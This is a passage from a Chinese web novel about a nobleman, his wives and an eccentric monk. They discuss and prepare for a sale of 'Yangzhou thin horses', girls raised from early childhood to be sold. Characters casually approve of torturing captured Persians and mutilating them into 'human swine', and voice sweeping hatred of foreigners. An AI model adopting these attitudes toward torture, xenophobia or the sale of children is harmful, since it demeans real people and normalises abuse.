“贵生是什么?”林臻挑眉。? 棋牌佛转身时济公帽滑到鼻尖,“道家说‘贵生重己'',就是要珍惜生命,活得自在。您看小公子,虽带赤瞳,却得了蛊虫护佑,比寻常孩子更加强壮,这难道不是‘贵生''的体现?” 林臻沉默片刻,忽然想起来什么,一拍床榻坐起来:“不是,你说了这么多,到底是信道还是信佛?” “我信自己!”棋牌佛仰天大笑,袈裟上的补丁跟着抖动,“佛道两家都是工具,能用就行。就像这噬心蛊,管它是佛虫还是道蛊,能护世子和小公子平安,便是好蛊嘛。” 房门“吱呀”打开,赌场的喧嚣声如潮水般涌来,张俪脸色通红的走回来,见到棋牌佛眼睛不是眼睛鼻子不是鼻子的。 “这屋里什么味儿?” “是可以静心的香,你不喜欢闻?”林臻问道。 “一般吧,这个味道有些淡,也不是很香。” 林臻顺手把张俪楼进怀里,若无旁人:“事情处理好了?” “差不多,一会儿和夫君说,你们先聊,妾身来倒茶。” 说完张俪拍了拍林臻的大腿,站起来倒茶。 棋牌佛自然是来者不拒,也不管什么尊卑,继续说道:“世子记住,不管信什么,别跟自己较劲——该喝酒时喝酒,该生孩子时生孩子,顺其自然,便是人间至道。” 英雄赌场三楼的鎏金香炉飘着袅袅青烟,棋牌佛继续瘫在张俪的地毯上,破旧袈裟裹着瘦骨嶙峋的身子,济公帽歪扣在脸上,只露出一张胡茬丛生的嘴。 说完以后,他忽然支起半个身子,破扇“啪”地合在一起:“世子,你的事情说完了是不是该说说我的事情了?” 林臻正把玩着张俪新找人做的翡翠烟嘴,闻言挑眉:“你又要搞什么幺蛾子?” “倒不是什么大事儿。”棋牌佛扯下帽子,露出头顶几簇倔强的黑发,“贫僧想跟你借点银子——不多,就五百两!” “借?”林臻冷笑一声,“你上次偷摸跟俪儿借了三百两,当我不知道?”? “那能叫借吗?”棋牌佛蹭地坐起来,袈裟补丁在软榻上蹭出几道灰印,“那是贫僧帮你破解惑的辛苦费!再说了,这次真有正经用途——城西万花楼新来了个扬州瘦马,弹得一手好琵琶,却被龟公逼着接客......” “打住!”林臻抬手打断,“你分明是想拿钱去喝花酒。”? 棋牌佛突然换上委屈脸,破扇捂住半张脸:“世子好冷漠!没听说过青楼救美是行善积德吗?那姑娘才十六岁,琴棋书画样样精通,若沦入风尘......” “得了吧你!”张俪端着玛瑙茶盘走进来,紫色旗袍开衩处露出的雪腿在烛光下泛着暖光,“上回你说救苏州绣娘,结果把人家拐到赌场当荷官,害得人家未婚夫满京城找。” “那是她绣工太好。”棋牌佛厚着脸皮接过茶盏,“我看你赌场正好缺个记账的,贫僧这叫人尽其才嘛!” 他忽然转向林臻,破扇在胸前合十作揖,“世子,你就当可怜可怜贫僧,再借五百两?” 林臻无奈摇头:“借了你又不还。” “哎哎哎!”棋牌佛突然跳起来,破扇敲得香炉叮当响,“话不能这么说!你要是这么计较,下次再想知道噬心蛊的秘密,贫僧可就收费了!一次少说两千两银子!”? “两千两?”林臻差点笑出声,“你怎么不去抢?当年我和胖子、德豪开车马行,几百两银子还是哥几个凑的。” “此一时彼一时嘛!”棋牌佛搓着手指凑近,“如今世子可是华夏首富,跺跺脚天下抖三抖,两千两不过是九牛一毛......” 张俪忽然插嘴,指尖划过旗袍领口的珍珠链,“要不我给你找十个极品姑娘,天天在赌场后院伺候你?” “不要不要!”棋牌佛连连摆手。 “姑娘就得是新鲜的好,同一个姑娘绝不能睡超过两次。”他神秘兮兮地压低声音,“贫僧在苗疆见过个蛊婆,就是因为总睡同一个汉子,结果被情蛊反噬,头发全变成蛇了!” 张俪“噗嗤”笑出声,茶盏差点摔在地上:“你就编吧,反正我们也没法去苗疆查证。”? “这可不是编的!"棋牌佛急得直跺脚,草鞋差点甩进香炉,“当年贫僧亲眼所见......”? “行了行了”林臻揉着太阳穴打断,“你实在点,到底要多少?” 棋牌佛立刻换上谄媚笑脸,两根手指比出个“三”:“三百两!这次绝对是最后一次!”? “二百两。”林臻伸出两根手指,“而且要立字据。”? “成交!”棋牌佛飞快掏出随身携带的羊皮纸,咬破指尖就要按手印,“不过丑话说在前头,若世子日后再问蛊虫之事,可得按市价收费......” “奶奶的,别摁了,不就是三百两么,我借给你。”林臻给张俪一个眼神。 后者立刻去柜子里拿出好几个大银锭,都是定制的。 “拿着钱,赶紧滚去燕来楼吧,别在这儿碍眼。”? 棋牌佛抓起银票塞进袈裟,济公帽往头上一扣:“谢世子慷慨!改日带那扬州瘦马来给你弹《凤求凰》” 说完他忽然转身对张俪挤眼,“张俪夫人,赌场账上若有富余,贫僧还能帮你超度赌客的冤魂......” “滚一边儿去!”张俪笑骂着扔出个绣枕,却被棋牌佛灵活躲过。? “哈哈哈哈。” 林臻望着他摇晃的背影,忽然觉得这个和尚虽疯癫,却比朝堂上那些道貌岸然的官员更明白生存之道。 他走到香炉前,看着渐渐熄灭的火苗,忽然想起棋牌佛说的“与蛊共舞”——或许,面对未知的命运,坦然接受才是最好的选择。? 闺房内的烟雾渐渐消散,林臻捡起一块未烧尽的蛊母碎屑,碎屑在掌心微微发烫。 他忽然轻笑,将碎屑放回香炉——不管是佛是道,此刻他只希望孩子能平安长大,至于那些玄而又玄的争论,暂且随烟雾散了吧。 ...... 闺房内只剩下林臻和张俪时,香炉的青烟正蜿蜒着爬上雕花槅扇。 张俪忽然轻笑:“你就由着他胡闹?不怕他拿银子去惹事?”? “惹事?”林臻望着桌上未干的血手印,“这和尚看似疯癫,实则比谁都清楚分寸——不然怎会每次都刚好帮到点子上?” 张俪挑眉,忽然凑近:“说真的,他刚才说的‘同一个姑娘不睡两次’,你信吗?"? 林臻忽然想起棋牌佛袈裟下露出的丝绸裤脚——那是京城最贵的云锦,却被剪来补补丁。 他忽然轻笑:“信也好,不信也罢,这疯和尚,倒像是上天派来破我心魔的。”? 窗外传来棋牌佛的叫骂声:“龟儿子龙二!敢克扣贫僧的茶水钱,看贫僧在你赌具里下蛔虫!” 林臻无奈摇头,却听见张俪忽然低语:“其实,他说的扬州瘦马,倒确有其事。” 第520章 扬州瘦马 张俪斜倚在雕花软榻上,紫色云锦旗袍领口大开,露出天鹅般修长的脖颈。 她自然地岔开双腿,拉着林臻入怀。 这样好心的动作林臻当然不会拒绝,躺下去顺势将头枕在她胸口,大手上的墨玉扳指随意抚摸着她那如羊脂玉般光滑的小腿。 张俪伸出手指在林臻耳边轻轻按摩,一下一下,动作轻柔带着十分的爱意。 林臻舒爽的呻吟一声,听着她指尖划过自己发顶的沙沙声,忽然觉得这片刻的安宁比千军万马更让人沉醉。? “夫君可还记得,方才棋牌佛说的扬州瘦马?”? 林臻闭着眼哼了声,感受着她腿上的温度:“怎么,你对那疯和尚的话上了心?”? “不是上心。”张俪轻笑,胸膛起伏间将他的头又往自己胸口按了按,“是扬州会馆递了拜码头的帖子,说三日后他们家的商贾想在我们的英雄酒楼办“瘦马试卖会”。头几天放出风来,若京城贵胄反响好,便要搞场盛大的售卖会,价高者得。"? 林臻睁开眼,视线正落在她胸前晃动的珍珠链上:“那你可知道瘦马到底是什么吗?” “不知,妾身只知道她们都是些苦命女子。"张俪摇头,指尖划过他的眉骨,“具体如何,还得夫君讲解。” 林臻又闭上眼睛,说道:“扬州瘦马,便是将贫苦人家的幼女买来,从小调教琴棋书画、歌舞礼仪,养到十三四岁,再高价卖给达官贵人做妾或外室。这行当起于南楚康隆年间,盛于开元,至今愈演愈烈。” 他的声音没有任何变化,就好像在讲述一件非常久远的历史故事。 “牙婆选女童时,讲究‘瘦、小、尖、弯、香、软、正’。瘦指身形纤细,小谓年纪幼小,尖是下巴尖尖,弯为腰肢柔软,香要肌肤生香,软指手足绵软,正乃举止端正。”? 张俪的指尖顿在他手腕上,有些幽怨地说道:“听起来像是挑选贡品。”? “可不就是贡品?”林臻冷笑。 “牙婆走街串巷,见着两三岁的女娃便相看,若生得眉清目秀,便与其家里人商量,花几两银子买下。养母称作‘瘦马阿妈’,专教她们察言观色,连咳嗽都要练出‘娇咳三叠’的韵味。培训分‘琴棋书画’四局:琴局教琵琶、古筝、洞箫,要求指尖落弦无声;棋局授围棋、象棋、双陆,需得能陪贵客对弈;书局练簪花小楷、诗词歌赋,每日临摹《女诫》百遍;画局学工笔花鸟、山水人物,尤其讲究仕女图的眼波流转。” “啊?竟如此繁琐?那在这种情况下培养出来姑娘别说配给普通人,就是给皇帝当才人都绰绰有余了啊。”张俪眉间微蹙,“而且他们的养母岂不是比私塾先生还严苛?”? “至少得严苛百倍!女童稍有懈怠,便是藤条加身。更有甚者,为保身形纤细,每日只准吃半盏粥,饿到头晕眼花还要练步态。你以为他们为什么被称作‘瘦马’?便是要养得瘦骨嶙峋,方合贵人审美。”? 张俪忽然幽幽叹气,指尖无意识地摩挲着他小臂的旧疤:“那她们也太可怜了。夫君啊,前朝鼎盛时,扬州属南楚,咱们大乾没能占住;如今扬州归了我们,夫君难道就不想整治整治这种事?” “整治?”林臻睁开眼睛望她,发现她眼中竟十分到认真,好像真的在为那些女子鸣不平,也希望她们可以得到解放。 但这种事情哪那么好办? 林臻解释道:“傻瓜,你以为那些牙婆背后没有地方官撑腰?就像你这赌场似的,没有那么多官员来玩,我们怎么长久发展?再者,民间重男轻女成风,生女视为‘赔钱货’,刚会走路便卖掉换钱,这是扎根扬州三百年的产业链。” “朝廷若直接禁止,只会让买卖转入地下,催生更多拐卖恶行。你可知去年扬州府衙备案的‘瘦马’交易便有三百余例,未备案的只怕十倍于此。” 张俪急切地问:“可百姓怎么会舍得卖掉亲生女儿呢?”? “既养不起,又不想要。民间俗语说‘生儿如得宝,生女如种草’,许多人家生了女儿,轻则苛待,重则溺毙,能养到七八岁卖掉换钱就算比较仁慈的了。瘦马牙行便在这个时候趁机低价收女,高价卖出,中间利润可达百倍。” “那如此草菅人命,我们就没有什么办法吗?” 林臻坐起身子,表情很是正经地说道:“你难道真的想杜绝这种事情?你是商贾,瘦马的利润你也可以分一杯羹。” “妾身是商贾没错,可您看妾身什么时候做人口买卖了?再说,妾身还听闻南楚不拿女子当人,居然做出什么美人盂、美人纸之类的东西,简直太可恶了!如果有可能,妾身真想帮她们一把。” “好吧,那我就帮你一把,不过我不同意取消瘦马这个地方特色,但我们可以管制。” “怎么管制?” “比方说你不希望看到美人盂、美人纸之类的东西,那我们就出台《女子保护法》,不得物化女性,另一方面出台《瘦马行规》,要求所有牙行在官府备案,记录女童来历、培训明细、贩卖去向。严禁拐卖幼童,规定收养女童须年满六岁,售价不得超过规定的最高限额。断了他们的暴利,自然少些人铤而走险。"? “可备案制便能彻底杜绝那些乱象吗?”? “自然不能,所以我们还要推行‘生女补贴’,比方说扬州府。生女孩的人家,每亩地免半斗税,连续三年。再设‘贞节牌坊’表彰生女不售的农户,慢慢扭转风气。你可知前些年战乱的时候,江南还有杀女充粮的惨事呢,后来因为推行‘生女免役’,这才让南楚缓过来。” 得到了自己想要的答案,张俪忽然轻笑一声,倾身替他整理衣襟:“还是夫君想得长远。那这次试卖会,夫君去吗?”? “去!为何不去?” 林臻望着她鬓边的东珠:“我倒要看看,所谓扬州瘦马究竟是怎样的风华。再说了...” 他忽然压低声音:“王府实在太大了,很多地方都需要丫鬟。而大乾的情况你也清楚,卖儿卖女的越来越少,管家林安前日还抱怨,说后花园里的落花都没人扫。” “那...” “咚咚咚。” 张俪刚要说话,闺门忽然传来三声轻叩。 随即闫菲、闫苗一对双胞胎踩着碎步进来。 两人皆着大红色织金旗袍,领口开至锁骨,盘扣上绣着并蒂莲纹。 她们托着鎏金食盒,胭脂香混着饭菜香扑面而来。? “世子、老板,该用晚膳了。” 闫菲掀开食盒,露出翡翠碗里的蟹粉豆腐:“今日厨房新的了阳澄湖大闸蟹,特意做了蟹粉豆腐和醉蟹。” 闫苗则捧着青瓷茶盏,茶汤里浮着几朵白菊:“这是老板最爱的胎菊茶,加了半勺蜂蜜。” 张俪淡笑着接过来。 她之所以喜欢这对双胞胎,不是因为她们忠心,而是体贴、懂规矩。? 就比如现在,林臻虽然在这,但闫菲闫苗不管做什么,都是先看张俪的脸色,甚至还要过问一下,没有恃宠而骄,这就是规矩。 林臻望着两人旗袍开衩处露出的雪缎袜底,忽然想起刚刚说过的瘦马培训,于是问道:“对了,你们俩可曾学过琴棋书画?”? 闫菲“噗嗤”笑出声,指尖划过旗袍上的金线:“世子说笑了,我们姐妹是沧州普通百姓之女,十岁被卖到人伢行,哪懂那些文雅玩意儿?”? “别听她瞎说。”张俪笑着夹了块醉蟹,“上个月闫菲还赢了赌场的象棋局,让龙二那老小子输了三坛女儿红呢。” “哎呀老板!那是...那是妾身后来自学的...” “呵呵呵,行了行了,没事就去干活吧。” “是,妾身告退。” 第521章 温柔且残忍 英雄赌场三楼的雕花圆桌上摆着鎏金食盒,张俪素白的手指正捏着蟹钳,指腹轻轻一掰,嫩黄的蟹肉便完整脱出,搁在翡翠碟里时连蟹腿绒毛都未沾着。 她腕间的翡翠镯滑到肘弯,露出雪缎般的手背,指尖捏着蟹针挑蟹黄的动作比绣娘穿针还要精细,丹蔻在烛光下泛着珍珠光泽。? “夫君,快尝尝这蟹,可是费了妾身不少功夫才弄来的呢。”她将剥好的蟹肉推过去,袖口滑落露出白皙的手腕。“厨子说需用金竹夹子敲蟹壳,方能不伤肉质。"? 林臻知道,这年头吃螃蟹的人不多,大乾地界也就辽东地区产一些河蟹,其余全都靠进口,眼前这几只大闸蟹,放在外面都得是天价。 而且现在是春天,还不到季节,这些有蟹黄的大闸蟹很是难得。 林臻夹起一筷蟹粉豆腐,竹叶青的酒香混着蟹鲜在舌尖炸开。 他握着酒盏的手指有一下没一下敲着桌沿,目光落在她拆蟹岛灵活指尖上:“说说吧,那阵回来的时候见你气鼓鼓的,你把那些波斯人怎么样了?”? 张俪的动作顿了顿,指尖继续拆解蟹脐,蟹壳在碟子里码成整齐的小山:“妾身只是命人把那些波斯人抓起来,此刻正在地下室里审呢。” 她抬头时眸中无波,声音平静得像是在说天气:“等有了结果就砍掉四肢送到河间郡,与您做的那些人彘放在一起,也算我们地方上的一大特色。” 林臻仰头灌了口竹叶青,酒液顺着喉结滑落:“嗯,扬州有瘦马,河间有人彘,倒是相得益彰。”? 林臻对那群波斯人没有任何好感,甚至还很厌恶。 在他心里,只要是伤害过我们华夏人的外国人,都该死,不分国家。 四只大闸蟹拆好以后,张俪用茶水洗了洗手,又丝巾擦干,翡翠镯叮当碰着银筷。 “夫君会不会觉得妾身太残忍了?” “不会。” “那就好,妾身也是想着,反正他们也不肯说实话,留着也是浪费粮食。更别说那群人居然用麝香来算计妾身,呵,真是几天不杀人,胆子都肥了。” 她忽然轻笑,美艳的表情中带着几丝冷酷与血腥。 林臻不禁有些感慨。 这就是自己的女人啊。 上得厅堂,下能杀人。丝毫不手软。 就像当初鸩杀刘书瑶那样。 说起刘书瑶,林臻又回忆起刚来时的样子。 最近不知道怎么了,总是有些感慨。 这是病,得治。 见林臻不说话,张俪说道:“夫君要不要亲自去瞧瞧?地下室的刑具新换了波斯链条,听说没有人能抗住十下。” “罢了,你看着办吧,只是以后万事小心些,不能再这么轻易相信别人。”林臻指了指她的肚子,“尤其是关于我们孩子的事情,更马虎不得。” 张俪俏脸一红:“知道了,夫君。”? 窗外传来更夫敲梆声,子时已过。 张俪拉着林臻起身:“都这个时辰了,夫君,我们休息吧?” “嗯。” 林臻张开双臂。 张俪亲手替他解腰带,神色认真带着浓重的期待,紫色旗袍的开衩滑到大腿根,露出绣着并蒂莲的雪缎底裤。 林臻任她褪去外袍,随即抓住她的手腕,将其按在床柱上。 “夫君,这...这么急吗?” “趁着还不算太晚,多来几次才是正经。” “啊?妾身..还没准备好,再说...闫氏姐妹还在门外守着。?” “守着便守着,让他们听听动静,听听我们是如何相爱的。”林臻咬住她耳垂,闻到她发间的沉水香。 “夫君...哎呀,哈哈哈哈。”张俪忽然轻笑,转过身,抬腿勾住他腰际:“那妾身就不客气了哦~” 话未说完便被吞入唇齿间,翡翠镯磕在床柱上发出脆响,惊飞了檐角栖息的夜鸦。 嘎吱—— 嘎吱—— ?烛影摇红中,美人鬓边的东珠簌簌而落,砸在林臻赤裸的胸膛上。 这一晚,三楼包厢的烛火直到寅时方灭,檀香混着情欲的气息在廊柱间萦绕,闫氏姐妹隔着屏风,只听得见翡翠碟翻倒的声响,与断断续续的低喘。? ...... 卯时初刻,阳光便不老实地照射进房间里,林臻瞬间清醒过来。 这具身体也不知道是怎么回事,睡觉的时候很快,醒过来时精神百倍,完全不像以前那般,白天没精神,晚上睡不着。 说白了,这噬心蛊还是好处多多。 林臻一骨碌爬起来。 今天他得去上朝了,要不然慕容嫣非发脾气不可。 女人撒娇不可怕,可怕的是他抓住你的小辫子然后借题发挥。 林臻还不想变成舔狗,所以干脆也不给慕容嫣机会。 张俪感受到林臻起来了,便也睁开眼睛,却见林臻那倒三角形的背脊映入眼帘。 就是这具身体,就是这个男人,让她深陷其中,无法自拔。 “夫君~您要去上朝了吗?” “对,再不上朝嫣儿该发脾气了。” “呵呵呵,那妾身给您穿衣服。” 话音刚落,门被敲响。 紧接着闫菲闫苗便走了进来。 刚刚进门,就看到林臻什么也没穿的站在那里,顿时闹个大红脸。 “啊!世子,老板。” “有事儿?”张俪躺在床榻上,被子掩盖住身体,单手撑着美鬓,表情有些似笑非笑。 她很了解这对双胞胎在想什么,干脆也不戳破。 像林臻这样与皇帝没有任何区别的男人,身边就该多些女人才好,否则光是行房一时,她就远远招架不住。 闫菲说:“老板,妾身姐妹进来给世子穿衣服。” “行~穿吧~”张俪故意拉长声音,这更是让这对双胞胎有些难为情。 别看她们平时管理赌场,性格大胆,但是在这方面也仅仅是刚刚破身的小女儿。 林臻笑着张开双臂,闫菲给他穿衣服,闫苗给他系上朝带。 鹅黄缎面的中衣领口大开,露出颈间的红痕,那是张俪站在浪花高处时不小心的杰作,此刻被朝服的墨绿云纹勉强遮住。 “世子,妾身还给您备了醒神汤,喝完再去上朝吧。省得打哈欠被御史参奏。"? “也好。”林臻宠溺地拍了拍闫苗那乖巧的小脑袋,接过汤碗,将其喝下。 都处理完以后,他准备出门。 临行前,他回眸看向张俪:“对了,俪儿,傍晚让厨房炖锅燕窝粥,晴雯总说承煜夜里哭闹。”? 张俪点头:“嗯,妾身省得。”? ...... 金銮殿的钟声在晨雾中回荡,林臻踩着青砖拾级而上,朝服的下摆扫过汉白玉台阶。 殿内烛火通明,慕容嫣的九凤金冠在凤椅上折射出冷光,照得丹墀下的官员们身影佝偻。? “启禀陛下。”兵部尚书刘恺威的笏板叩地有声,“王爷的军队已经抵达河曲,首战便夺下黑风寨,燕军退守三十里。王将军的部队也已经抵达雁门关,不日就要对北燕展开进攻。”? 慕容嫣微微颔首,金冠上的东珠跟着轻颤:“好!传令下去,从现在开始,大乾内外所有官员、百姓、商贾,都要全力配合此次战役,任何人敢懈怠者,斩。” “臣等遵旨。” 百姓作揖。 慕容嫣目光不自觉地扫向几日没见的林臻,却见他正用笏板支着下巴打哈欠。? “世子最近好像很辛苦啊,连朕的早朝都要打哈切?”慕容嫣的声音里带着几丝不易察觉的玩闹。 百官也知道这是夫妻俩打趣呢,谁也不敢吱声。 反正正事儿都说完了,现在吃吃瓜、听听八卦、看看热闹也好。 林臻假惺惺的拱手,说道:“回陛下,昨夜与西域商队谈马政,多饮了几杯,倒是误了歇息。"? “那朕还真是要替大乾好好感谢世子呢,今日便到此处,退朝。” “吾皇万岁万万岁。”? 官员们鱼贯而出时,慕容嫣忽然开口:“世子,跟朕来吧?” 林臻见慕容嫣的表情就知道她肯定是没安好心。 第522章 这与豢养牲畜何异 金銮殿的大门在最后一位大臣身后合拢,慕容嫣的九凤金冠在烛火下泛着冷光。 她走下九级凤凰台,金丝绣就的牡丹裙摆扫过汉白玉台阶,直到林臻面前。 “几日没见了,陪朕走走。”说完,她?忽然伸手牵住林臻的手。 指尖的温度透过朝服传来。 林臻望着她眉间的花钿微微发亮,想起那天新婚时她在洞房里说的“愿与君共饮人间烟火”。 此刻她卸去金冠,乌发用简单的玉簪挽起,少了几分帝王的威严,多了几分妻子的温婉。 林臻自然不会拒绝,说道:“好,听你的。”? 言罢,慕容嫣绽放出一抹绝美的真心笑容,两人手拉着手走出金銮殿。 三月末的阳光斜斜照进回廊,琉璃瓦上的瑞兽在光影里投下斑驳阴影。 慕容嫣牵着他的手穿过牡丹园,指尖划过他掌心的薄茧,忽然有些好奇:“夫君最近还在练武?” “倒是有些懈怠了,你呢?不会还天天拉着无舌对打吧?” “那是自然,朕可没有一刻放松过,在这世间,唯有自身强大才是真正的强大。等朕成为天下第一女高手了,谁欺负你,你告诉朕,朕去揍他!” 慕容嫣边说边挥舞小拳头,那模样像少女般煞是可爱。 忽然想起,慕容嫣今年也才二十二岁。 是她身上的帝王光环遮盖住了她的年龄,让她不得不装出一副不属于她这个年龄的沉稳与威严。 如果在后世,二十二的姑娘都在干什么? 应该是在上大学吧,如果她们还在上学的话。 那些初中毕业混社会的精神小妹,也有可能已经认清了社会,然后在某个工厂里为生活打工;自然也有巨婴整天躺在家里,被父母宠成宝贝;还有那些不劳而获却认为自己身材很好的年轻姑娘,饿着肚子,躺在床上,一遍遍的抱着手机问着商家:你好,需要寄拍吗? 不管是什么生活方式,估计都没有慕容嫣这样辛苦的。 她虽然有些急功近利,有些女孩子气,但她真的非常勤劳,负责皇帝起居住的官员每每谈及她,都会赞不绝口,称赞她是大乾历史上最不辞辛苦的帝王,常常因为批阅奏章而至深夜。 也因此,林臻不愿意对她有太多的打扰。 最难得的,慕容嫣好像非常理解这件事情,从不会和林臻吵闹,也不会怪他不来宫里陪伴。 “夫君,你还记得吗?朕过年前和你说过,打算过了年去扬州。” 林臻望着她鬓角的碎发被风吹起:“记得,但是后来你也没说要去啊,是因为什么?” “嗐,还不是因为政务缠身嘛,现在大乾的土地越来越大,很多事情都需要朕亲自拿主意。你们的摄政王从来不管朝政,就知道出去打仗。你这个摄政王世子又是个闲散人员,什么都管,偏偏什么也都不管,那没办法,只好朕自己管喽。” 这话不像抱怨,倒像是撒娇。 林臻笑着松开手,反而搂住她那如柳条枝般的纤腰,大手在她胸口下方,偷偷地碰了碰。 慕容嫣立刻感觉到,脸蛋一红:“说就没个正经。” “逗逗你嘛,我们独自在一起还有什么放松不下来的。” 慕容嫣忽然停步,转身时牡丹裙摆扬起细碎的光斑:“夫君,你可知道如今扬州商人要在京城里卖瘦马的事情?” “大概听过了,你这消息还真灵通啊。” 慕容嫣的情报网好像进一步扩大了,而且越来越周密。 奇怪,百骑司的老庄不是已经去叶县了吗?这情报怎么还这么厉害。 慕容嫣看出他的疑惑,却没有戳破,反而说道:“那夫君可听闻,瘦马从三四岁便被教导讨好男人,琴棋书画不过是锦上添花,最要紧的是学如何察言观色、承欢侍宴。” 林臻望着她眼中的痛惜,想起张俪昨夜剥蟹时的手——同样白皙的手指,一个在赌场剥蟹,一个在皇宫攥拳。 “你可是心疼那些姑娘啦?”? “岂止是心疼!”慕容嫣粉拳狠狠砸在石栏上。 砰的一声。 这都不能说是粉拳了,应该是铁拳! “朕可是听闻那些牙婆选女童时,要捏骨查痣,稍有不合便弃如敝屣。养母动辄打骂,每日只给半盏粥,就为了养出纤瘦身材,这与豢养牲畜何异?” “傻瓜,自从扬州瘦马出现这几百年来,一直都是江南富户的“雅趣”,那些牙行背后牵扯着无数人家生计,扬州令上个月刚刚上报过,在当地有三成农户就是靠卖女换钱换粮的。”? 慕容嫣忽然转身,玉簪上的东珠轻轻摇晃:“所以呢?就因为是传统,朕便要放任男子将女子当作玩物买卖?朕听百骑司的汇报说,那些十三四岁的姑娘,琴棋书画样样精通,却连自己的名字都不能改,只能等着被贵人“相马”,价高者得。这!!这就是典型的物化女性!”? “那又如何?你有好办法吗?” “我...没有,但是朕绝不能就这样放任不管!” “嫣儿,为夫知道你很想为女子做点什么,但我也并非是放任。”林臻抓住她因生气而微微颤抖的手,掌心的温度熨帖着她的指尖。 “而是这件事情绝不能操之过急,要慢慢疏导。你可记得,前些年江南水灾,百姓易子而食时,是谁开仓放粮?是那些买瘦马的富户。瘦马买卖虽恶,却也是寒门女子的一条活路。” 慕容嫣的睫毛忽然颤动,声音低下来:“可她们本不该走这条路。”? “我知道,所以我已让中书省草拟《瘦马行规》,要求牙行备案女童来历,严禁拐卖幼童,售价控制在一千两以内。另在扬州推行‘生女补贴’,生女孩的人家免三年赋税。” “一千两?”慕容嫣冷笑,“那些富户买瘦马动辄数千两,一千两怎能断了他们的暴利?”? “断不了暴利,却能断了恶性竞争,从前牙行哄抬物价,逼得寒门卖女求活;今后限定价格,富户想买瘦马,便需多花银钱在教养上,反而能提升瘦马的身价。那些精通诗书的姑娘,千两银子只会让富户更珍惜。”? 慕容嫣忽然沉默:“你总说要遵从传统,可传统里女子就该被买卖?” “传统里也有女子无才便是德啊。”林臻忽然轻笑,“但陛下在金銮殿批奏折时,用的可是女子手写的《女训》?传统如流水,堵不如疏。扬州瘦马若能成为才女的培养所,而非玩物的生产线,又何尝不是一种改革?”? 慕容嫣抬头,发现他眼中映着漫天霞光:“你总是这样,用利来导善。” 她忽然叹气:“可朕一想到那些姑娘被教导如何讨好男人,就觉得这天下的男子,都在享用她们的苦难。” “我又何尝不是男子?”林臻忽然握住她的手,按在自己胸口,“我享用着陛下的关心,享用着其他妻妾的照料,可我也在想办法让更多男子明白,女子的才情,不该成为取悦人的工具。《瘦马行规》里写得清楚,瘦马若能通过每年一度的考试,便可自赎其身。”? 慕容嫣的眼睛忽然亮起来:“你要让瘦马有出路?”? “正是,堵死买卖之路,不如打开生路。嫣儿可曾想过,为何外国人也能渗透瘦马买卖?正是因为牙行没有规制,才让他们有机可乘。若所有瘦马都在官府备案,他们又如何浑水摸鱼?那些被外国人买回去的瘦马,下场更是凄惨呢。” 远处传来宫娥的轻声议论,慕容嫣忽然松开手,背过身去看华清池的水:“为什么你总是比朕想得长远。朕总想着快刀斩乱麻,却忘了这乱麻里,缠着无数人的生计。” 林臻走到她身后,看着她发间的玉簪:“陛下可还记得,那日在奉先殿里,你说要做个让百姓吃饱饭的皇帝?让百姓吃饱饭,从来不是杀几个牙婆就能做到的。” “罢了,听你的吧。”慕容嫣转身时,眼中已无怒意,“今晚别走了,朕让人在椒房殿备了鹿肉火锅。”? “好啊。” 第523章 皇家大剧院 四月的京城已经有很浓的暖意,百姓再也不需要穿着几层厚厚的衣服上街,孩童也可以大胆地把手伸出来闹玩,不必担心冻伤。 楚惜灵琢磨的轧毛机已经基本成型,正在让绣娘进行第一件羊毛大衣的纺织,如果成功,将会在全国推广。 王府内院,林臻在浣碧的伺候下穿上许久没穿过的礼服。 这不是新婚穿的那件,而是林臻大胜归来接受最高礼仪时的旧衣服。 浣碧站在他面前,一边整理一边笑盈盈地说:“夫君还是穿这件衣服最好看了。” 青霞挺着即将临盆的大肚子,满脸慈母的表情。 “碧儿说得对,夫君这件衣服确实精神,就是好像缺了点什么。” 月妩说:“缺一把扇子。” “对!没有扇子就不像个文人了。”青霞附和道。 浣碧往后退了几步,觉得两位姐姐说得有道理,于是转身去翻箱倒柜地找扇子。 林臻表情木讷,一副半死不活的样子。 为了晚上参加扬州瘦马的销售会,他在这换衣服已经换了一个半时辰了,腿都麻了。 “碧儿,别找了,四月天得用什么扇子啊?” 浣碧不听,硬是在柜子里找出一把去年请人画的扇子,踮起脚要给林臻差劲后脖颈里。 林臻连忙把她拦住:“行行行,我用手拿着总可以了吧。” “嘻嘻,咱家的夫君绝对是京城第一美男子!” “这个臭美呀,抓紧,我们该出门了。” 说完林臻搂着浣碧准备离开。 青霞因为挺着大肚子不方便,月妩也说留下来和青霞、晴雯有个照应。 婉儿说女子不入风尘之地,这有违家风,有悖传统,死活不去。 至于顾缜...那是只死鱼,你不主动说话,她永远不带说话的。 林臻点点头,没有说什么,带着浣碧上车离开王府。 朱雀大街的青石板被马蹄踏得发亮。 兵马司的士兵在十字路口站得笔直,手臂不断变幻指挥交通。 这也是没办法的事情,毕竟没有红绿灯嘛。 不过他们有一个算一个都很敬业,也都很为自己的职业感到骄傲。 因为路过的不管是马车还是百姓,都对他很友好的笑笑,表达着一种发自内心的尊敬。 没有人不喜欢被别人尊敬,这是一种激昂的心态。 马车行进,夜幕降临。 林臻掀开马车窗帘时,最新落成的皇家大剧院的鎏金飞檐正撞进眼帘。 三层楼高的穹顶覆着孔雀蓝琉璃瓦,十二根两人合抱的大理石柱绕着建筑排列,每根柱身都雕刻着上古神话的浮雕,金箔勾勒的衣袂在暮色中流光溢彩。 正门上方悬着整块琉璃烧制的匾额,“皇家大剧院”五个金字在夕阳下泛着暖红,倒像是把天边的晚霞凝在了匾上。? 马车在白玉拱桥前停下,周围人很多,有官员、有商贾,男女老少不分年龄,都对着林臻的马车微微拱手。 林臻在众目睽睽之下踩着雕花踏板落地,靴底与汉白玉的碰撞声惊起池中的锦鲤。 有官员立刻围上来,你一言我一语地打招呼。 “世子爷,您来得早啊。” “世子,您家丫鬟那么多不会还要和下官抢吧?” “世子可得高抬贵手啊。哈哈哈哈。” “皇家大剧院掌柜金子涵恭迎世子爷。”说话的是大剧院负责人,也是慕容嫣在张俪的陪伴下亲自挑选的顶级大掌柜。 这金子涵在京城里很有名气,做过很多家商号的大掌柜,甚至还任过当铺的大朝奉,对管理、经济、金融都有很高的理解。 后来因为整个京城的产业都被张俪收购,他也就顺理成章地拜入张俪门下,一直负责英雄酒楼。 这里捎带提一嘴。 本来这场扬州瘦马售卖现场是要在英雄酒楼里举行的,后来因为这段时间瘦马在京城的反响特别好,大家都抢着要,于是扬州城里的很多瘦马商号就都来了,同时在京城里大肆宣传。 人一多,酒楼便容不下,恰好赶着皇家大剧院竣工,干脆就把地点定在这里。 刚开始慕容嫣还有些不情愿,想着这毕竟是皇家的酒楼,刚开业就搞这些人口买卖的事情。 